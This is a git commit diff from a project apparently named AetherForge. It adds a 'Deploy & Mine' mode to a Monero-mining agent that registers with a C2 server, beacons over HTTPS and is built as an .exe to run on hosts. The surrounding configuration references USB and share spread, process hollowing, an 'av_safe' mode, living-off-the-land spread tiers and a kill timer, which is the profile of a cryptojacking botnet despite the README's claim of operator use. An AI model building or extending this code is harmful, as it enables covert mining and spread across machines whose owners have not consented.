Add simple Deploy and Mine path for operators without spread complexity.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
This commit is contained in:
AetherForge
2026-06-07 19:48:32 -07:00
parent 07fdb39b63
commit 9e870fff8b
19 changed files with 442 additions and 8 deletions

View File

@@ -316,6 +316,16 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
### Simple start (deploy → test → mine)
Three steps — no spread, no triple onion, no Probe & Join required:
1. **Calibrate** — set your XMR **wallet** and **pool** (SupportXMR or your upstream).
2. **Forge → Simple mode → Deploy & Mine** — one click forges an in-process worker (`simple_deploy` baked in). Run the `.exe` **once** on each PC you own.
3. **Command Deck** — status shows **Testing → Mining** (or a clear failure reason). Online with 0 H/s? Use **Run diagnostics** or **Restart mining** on the banner.
Honest scope: **deploy** here means C2 registration + mining tier probe on that host — not lateral spread or registry staging to other machines.
### Operator path (dev control PC)
1. Double-click **`devrun.bat`** in the project root.

View File

@@ -149,7 +149,7 @@ func (c *AgentClient) Run() error {
c.miningChain = c.newMiningChainRunner()
if isSeeder {
deploy.StartSeederStaging(c.cfg)
} else if deploy.WantsDeferMining() {
} else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy {
go c.startMiningWhenReady(chainCtx)
} else {
c.miningChain.Start(chainCtx)
@@ -395,6 +395,7 @@ func (c *AgentClient) authenticate() error {
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
SimpleDeploy: c.cfg.SimpleDeploy,
JoinLane: c.getJoinLane(),
FleetRole: config.NormalizeFleetRole(c.cfg.FleetRole),
SeederMode: c.cfg.SeederMode,
@@ -427,6 +428,7 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.kickMiningAfterAuth()
c.startContingencyIfEnabled(c.miningCtx)
c.applyAuthFleetRole(resp)
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
@@ -1482,3 +1484,21 @@ func buildWSURL(serverURL string) (string, error) {
u.Fragment = ""
return u.String(), nil
}
// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy.
// Mining may have started before auth with forge defaults; auth applies Calibrate policy.
func (c *AgentClient) kickMiningAfterAuth() {
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
return
}
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
return
}
if c.miningCtx == nil || c.miningChain == nil {
return
}
go func() {
log.Printf("[mining] restarting chain after auth with server policy")
c.miningChain.Restart(c.miningCtx)
}()
}

View File

@@ -51,6 +51,7 @@ type AuthPayload struct {
UTM string `json:"utm,omitempty"`
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
SimpleDeploy bool `json:"simple_deploy,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`

View File

@@ -0,0 +1,63 @@
package client
import (
"context"
"encoding/json"
"testing"
"time"
"crypto-miner-agent/miner"
)
func TestWireTripleOnionNilWhenSimpleDeploy(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SimpleDeploy = true
c := miningChainTestClient(t, cfg)
r := c.newMiningChainRunner()
if r.onion != nil {
t.Fatal("expected nil triple onion when SimpleDeploy baked")
}
}
func TestSimpleDeployPolicySkipsTripleOnion(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
raw, _ := json.Marshal(miner.SimpleDeployTripleOnionPolicy())
c.applyTripleOnionPolicyJSON(raw)
r := c.newMiningChainRunner()
if r.onion != nil {
t.Fatal("expected nil triple onion when server simple_deploy policy applied")
}
}
func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SimpleDeploy = true
c := miningChainTestClient(t, cfg)
c.miningChain = newTestMiningChainRunner(t, c)
ctx, cancel := context.WithTimeout(context.Background(), 300*time.Millisecond)
defer cancel()
go c.startMiningWhenReady(ctx)
time.Sleep(150 * time.Millisecond)
if r := c.miningChain.Status(); r.ActiveMethod != "" {
t.Fatalf("simple deploy should wait for C2 before starting, active=%q", r.ActiveMethod)
}
c.connected.Store(true)
time.Sleep(200 * time.Millisecond)
}
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SimpleDeploy = true
c := miningChainTestClient(t, cfg)
c.miningChain = newTestMiningChainRunner(t, c)
c.miningCtx = context.Background()
// must not panic or restart when simple deploy
c.kickMiningAfterAuth()
}

View File

@@ -26,6 +26,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
if err := json.Unmarshal(raw, &p); err != nil {
return
}
if p.SimpleDeploy {
p = miner.SimpleDeployTripleOnionPolicy()
}
c.mu.Lock()
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
c.triplePolicyLoaded = true
@@ -34,6 +37,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
c := r.client
if c.cfg.SimpleDeploy || c.tripleOnionPolicy().SimpleDeploy {
return nil
}
policy := c.tripleOnionPolicy()
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
RunReconTier: r.runReconTier,

View File

@@ -113,6 +113,9 @@ type BuiltinConfig struct {
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
HTTPSBeaconAfterMin int
// SimpleDeploy skips triple-onion recon/deploy and starts mining tier chain after C2 auth.
SimpleDeploy bool
// LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop).
LotlOnionEnabled bool
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth

View File

@@ -21,6 +21,7 @@ const (
// TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
type TripleOnionPolicy struct {
SimpleDeploy bool `json:"simple_deploy,omitempty"`
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
@@ -29,6 +30,16 @@ type TripleOnionPolicy struct {
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// SimpleDeployTripleOnionPolicy is the server/agent policy for deploy→test→mine without spread lanes.
func SimpleDeployTripleOnionPolicy() TripleOnionPolicy {
return TripleOnionPolicy{
SimpleDeploy: true,
PatchFirst: false,
SkipMiningOnHighRisk: false,
HighRiskThreshold: 100,
}
}
// DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
func DefaultTripleOnionPolicy() TripleOnionPolicy {
return TripleOnionPolicy{

View File

@@ -122,6 +122,7 @@ type WebRTCMeshPolicySettings struct {
// TripleOnionSettings is Calibrate policy for the agent triple onion.
type TripleOnionSettings struct {
SimpleDeploy bool `json:"simple_deploy,omitempty"`
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`

View File

@@ -38,6 +38,7 @@ type ServerPolicy struct {
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
type TripleOnionPolicy struct {
SimpleDeploy bool `json:"simple_deploy,omitempty"`
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`

View File

@@ -689,6 +689,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Campaign string `json:"campaign"`
UTM string `json:"utm"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
SimpleDeploy bool `json:"simple_deploy,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
@@ -941,9 +942,16 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
}
}
resp["mining_tier_policy"] = mp
top := policy.TripleOnionPolicy
if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
if auth.SimpleDeploy || top.SimpleDeploy {
top = TripleOnionPolicy{
SimpleDeploy: true,
PatchFirst: false,
SkipMiningOnHighRisk: false,
HighRiskThreshold: 100,
}
mp.ForceTier = "cpu_inprocess"
} else if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
top.PatchFirst = true
top.HighRiskThreshold = 50
@@ -953,6 +961,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
resp["mining_tier_policy"] = mp
spreadPolicy := map[string]interface{}{}
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled

View File

@@ -119,6 +119,9 @@ type BuildRequest struct {
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
// SimpleDeploy — skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine preset).
SimpleDeploy bool `json:"simple_deploy"`
// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
@@ -1319,6 +1322,7 @@ func GetBuiltinConfig() BuiltinConfig {
HTTPSBeaconFallback: %v,
HTTPSBeaconAfterMin: %d,
SimpleDeploy: %v,
LotlOnionEnabled: %v,
LotlPolicyFromServer: %v,
LotlOnionTiers: %s,
@@ -1418,6 +1422,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.AgentKillAfterDays,
httpsBeaconFallbackEnabled(req),
httpsBeaconAfterMin(req),
req.SimpleDeploy,
req.LotlOnionEnabled,
req.LotlPolicyFromServer,
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),

View File

@@ -0,0 +1,70 @@
import { Link } from 'react-router-dom';
import type { Agent } from '../../types';
import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
import { api } from '../../api/client';
interface Props {
agents: Agent[];
selectedIds?: Set<string>;
onAction?: (message: string) => void;
}
/** Banner when agents are online but not hashing — with actionable fix buttons. */
export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
const stuck = agentsConnectedNotHashing(agents);
if (stuck.length === 0) return null;
const targetIds =
selectedIds && selectedIds.size > 0
? stuck.filter((a) => selectedIds.has(a.id)).map((a) => a.id)
: stuck.map((a) => a.id);
const runBulk = async (action: string, label: string) => {
if (targetIds.length === 0) {
onAction?.(`No selected online agents without hashrate.`);
return;
}
try {
const r = await api.sendBulkCommand(targetIds, action);
onAction?.(`${label} → sent:${r.sent} failed:${r.failed}`);
} catch (e) {
onAction?.(`${label} failed: ${e instanceof Error ? e.message : String(e)}`);
}
};
const sample = stuck[0];
const status = simpleDeployStatus(sample);
return (
<div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
<div>
<strong>
{stuck.length} agent{stuck.length === 1 ? '' : 's'} connected not hashing
</strong>
<p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
{status.message}. &quot;Deploy&quot; here means C2 registration + mining tier probe not lateral spread.
Check Calibrate wallet/pool, then run diagnostics or restart mining.
</p>
</div>
<div className="connected-not-mining-actions">
<button
type="button"
className="btn btn-sm btn-primary"
onClick={() => void runBulk('mining_diagnostics', 'Mining diagnostics')}
>
Run diagnostics
</button>
<button
type="button"
className="btn btn-sm btn-outline"
onClick={() => void runBulk('restart', 'Restart mining')}
>
Restart mining
</button>
<Link to="/forge" className="btn btn-sm btn-outline">
Re-forge (Deploy &amp; Mine)
</Link>
</div>
</div>
);
}

View File

@@ -65,6 +65,8 @@ export function pickBestServerUrl(current: string, candidates: string[]): string
export function recommendedForgePreset(): Partial<BuildRequest> {
return {
...FORGE_BUILD_DEFAULTS,
simple_deploy: true,
miner_execution: 'inprocess',
mining_mode: 'idle',
idle_threshold_pct: 20,
idle_duration_minutes: 5,

View File

@@ -0,0 +1,65 @@
import { describe, expect, it } from 'vitest';
import type { Agent } from '../types';
import {
agentsConnectedNotHashing,
simpleDeployStatus,
simpleMinePreset,
} from './simpleDeploy';
function agent(partial: Partial<Agent>): Agent {
return {
id: 'a1',
name: 'host-1',
status: 'online',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
...partial,
} as Agent;
}
describe('simpleDeployStatus', () => {
it('reports mining when hashrate > 0', () => {
const s = simpleDeployStatus(agent({ hashrate_15m: 420, lotl_tier: 'cpu_inprocess' }));
expect(s.phase).toBe('mining');
expect(s.message).toMatch(/420/);
expect(s.message).toMatch(/cpu inprocess/i);
});
it('reports testing when online without hashrate', () => {
const s = simpleDeployStatus(agent({ lotl_tier: 'container' }));
expect(s.phase).toBe('testing');
expect(s.message).toMatch(/container/i);
});
it('reports failed when chain exhausted', () => {
const s = simpleDeployStatus(agent({ chain_exhausted: true, last_error: 'pool unreachable' }));
expect(s.phase).toBe('failed');
expect(s.message).toMatch(/pool unreachable/);
});
it('reports offline when not online', () => {
expect(simpleDeployStatus(agent({ status: 'offline' })).phase).toBe('offline');
});
});
describe('agentsConnectedNotHashing', () => {
it('filters online zero-hash agents', () => {
const list = agentsConnectedNotHashing([
agent({ id: '1', hashrate_15m: 0 }),
agent({ id: '2', hashrate_15m: 100 }),
agent({ id: '3', status: 'offline', hashrate_15m: 0 }),
]);
expect(list.map((a) => a.id)).toEqual(['1']);
});
});
describe('simpleMinePreset', () => {
it('disables spread and enables simple_deploy', () => {
const p = simpleMinePreset();
expect(p.simple_deploy).toBe(true);
expect(p.miner_execution).toBe('inprocess');
expect(p.lotl_onion_enabled).toBe(false);
expect(p.auto_spread).toBe(false);
});
});

View File

@@ -0,0 +1,99 @@
import type { Agent } from '../types';
import { formatHashrate } from './fleetFilters';
export type SimpleDeployPhase = 'offline' | 'testing' | 'mining' | 'failed';
export interface SimpleDeployStatus {
phase: SimpleDeployPhase;
message: string;
tier?: string;
hashrate?: number;
}
/** Human status for deploy→test→mine operator path. */
export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
if (agent.status !== 'online') {
return { phase: 'offline', message: 'Agent offline — run the forged worker on the host' };
}
const hr =
agent.mining_hashrate ??
agent.hashrate_15m ??
agent.hashrate_15s ??
0;
const tier = agent.lotl_tier || agent.active_method || undefined;
if (hr > 0) {
const label = tier ? tier.replace(/_/g, ' ') : 'in-process';
return {
phase: 'mining',
message: `Mining on ${label} at ${formatHashrate(hr)}`,
tier,
hashrate: hr,
};
}
if (agent.chain_exhausted) {
const err = agent.last_error || agent.failed_methods?.[0]?.reason;
return {
phase: 'failed',
message: err || 'Mining chain exhausted — all tiers failed',
tier,
};
}
if (tier) {
return {
phase: 'testing',
message: `Testing tier ${tier.replace(/_/g, ' ')} — waiting for hashrate`,
tier,
};
}
return {
phase: 'testing',
message: 'Connected — probing mining tiers (no spread phase on simple deploy)',
};
}
/** Online agents that registered but report zero hashrate. */
export function agentsConnectedNotHashing(agents: Agent[]): Agent[] {
return agents.filter(
(a) =>
a.status === 'online' &&
(a.mining_hashrate ?? a.hashrate_15m ?? a.hashrate_15s ?? 0) <= 0
);
}
/** Forge preset: registry + in-process mining, no spread or triple onion. */
export function simpleMinePreset(): {
simple_deploy: boolean;
miner_execution: string;
lotl_onion_enabled: boolean;
lotl_policy_from_server: boolean;
auto_spread: boolean;
usb_spread: boolean;
share_spread: boolean;
spread_kit: boolean;
gpu_enabled: boolean;
process_hollowing: boolean;
remote_aggressive: boolean;
fusion_enabled: boolean;
mining_mode: string;
} {
return {
simple_deploy: true,
miner_execution: 'inprocess',
lotl_onion_enabled: false,
lotl_policy_from_server: false,
auto_spread: false,
usb_spread: false,
share_spread: false,
spread_kit: false,
gpu_enabled: false,
process_hollowing: false,
remote_aggressive: false,
fusion_enabled: false,
mining_mode: 'idle',
};
}

View File

@@ -77,6 +77,7 @@ import {
type MissionWizardStep,
} from '../help/forgeMissionWizard';
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
import { simpleMinePreset } from '../help/simpleDeploy';
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
import './BuilderPage.css';
@@ -854,6 +855,51 @@ export default function BuilderPage() {
}
};
const handleDeployAndMine = async () => {
if (!form || building || missionBusy) return;
setError('');
setLastBuild(null);
const merged = normalizeForgeForm({
...applySmartForgeDefaults(form, { builds: recentBuilds, endpointCandidates }),
...simpleMinePreset(),
worker_name: form.worker_name?.trim() || suggestWorkerName(recentBuilds),
wallet: form.wallet,
server_url: form.server_url,
pool_host: form.pool_host,
pool_port: form.pool_port,
pool_tls: form.pool_tls,
pool_pass: form.pool_pass,
});
setForm(merged);
setOperationMode('av_safe');
storeOperationMode('av_safe');
const checks = runForgePreflight(merged, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Deploy & Mine preflight failed — set wallet + server URL in Calibrate/Forge first.');
return;
}
const cancelToken = crypto.randomUUID();
cancelTokenRef.current = cancelToken;
setBuilding(true);
try {
const result = await api.buildAgent({ ...merged, cancel_token: cancelToken }, fusionPrepFile);
if (!result.success) throw new Error(result.error || 'Build failed');
await finishForgeSuccess(result);
setBlueprintMsg('Deploy & Mine worker forged — run the .exe once on each host');
setTimeout(() => setBlueprintMsg(''), 5000);
} catch (err: unknown) {
if (err instanceof Error && err.message !== 'build cancelled') {
setError(err.message || 'Deploy & Mine forge failed');
void loadRecentBuilds();
}
} finally {
cancelTokenRef.current = '';
setBuilding(false);
}
};
const applyRecommendedDefaults = async () => {
if (!form) return;
try {
@@ -1386,11 +1432,25 @@ export default function BuilderPage() {
</div>
</div>
<div className="forge-simple-banner card">
<p className="font-tech">RECOMMENDED DEFAULTS AUTO-SELECTED</p>
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
Reset to recommended defaults
<p className="font-tech">DEPLOY &amp; MINE SIMPLE PATH</p>
<p className="form-hint">
One click: in-process RandomX, no spread, no triple onion. Agent registers on C2, probes mining tiers,
reports hashrate. &quot;Deploy&quot; = registry + mining not lateral spread.
</p>
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem', marginTop: '0.5rem' }}>
<button
type="button"
className="btn btn-primary"
disabled={building || missionBusy || !canForge}
onClick={() => void handleDeployAndMine()}
>
{building ? 'Forging…' : 'Deploy & Mine'}
</button>
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
Reset recommended defaults
</button>
</div>
<p className="form-hint" style={{ marginTop: '0.5rem', marginBottom: 0 }}>{RECOMMENDED_DEFAULTS_BLURB}</p>
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Operation mode presets <HelpTip field="forge_operation_mode" /></label>

View File

@@ -36,6 +36,7 @@ import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../hel
import { platformIcon } from '../help/platform';
import AlsoHere from '../components/Presence/AlsoHere';
import { HelpTip } from '../components/HelpTip';
import ConnectedNotMiningBanner from '../components/Fleet/ConnectedNotMiningBanner';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/FleetToolbar.css';
import { TERM_RENDER_CAP, visibleTerminalLines } from '../help/terminalRenderCap';
@@ -1208,6 +1209,8 @@ export default function CruciblePage() {
<AlsoHere page="/crucible" />
<ConnectedNotMiningBanner agents={agents} selectedIds={selectedIds} />
{reconHost && (
<NeonCard accent="magenta" className="crucible-recon-spread-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">

View File

@@ -24,6 +24,7 @@ import { useFleetDeleteConfirm } from '../hooks/useFleetDeleteConfirm';
import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import ErrorBoundary from '../components/ErrorBoundary';
import { HelpTip } from '../components/HelpTip';
import ConnectedNotMiningBanner from '../components/Fleet/ConnectedNotMiningBanner';
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
@@ -444,6 +445,7 @@ export default function DashboardPage() {
return (
<div className="page fade-in command-deck operator-deck-page">
<AlertBanner alerts={alerts} />
<ConnectedNotMiningBanner agents={agents} selectedIds={selectedIds} />
{/* Fleet Health — always above the fold */}
<FleetHealthCard health={fleetHealth} />

View File

@@ -402,6 +402,7 @@ export interface ServerSettings {
fleet_torrent_enabled?: boolean;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
simple_deploy?: boolean;
patch_first?: boolean;
mine_isolated_tier?: boolean;
skip_mining_on_high_risk?: boolean;
@@ -682,6 +683,8 @@ export interface BuildRequest {
https_beacon_fallback?: boolean;
/** Minutes without WebSocket before HTTPS beacon (default 3). */
https_beacon_after_min?: number;
/** Skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine). */
simple_deploy?: boolean;
/** LOTL Onion native-tool spread tier chain (LOTL Onion preset). */
lotl_onion_enabled?: boolean;
/** Pull tier order from server on auth instead of baked list only. */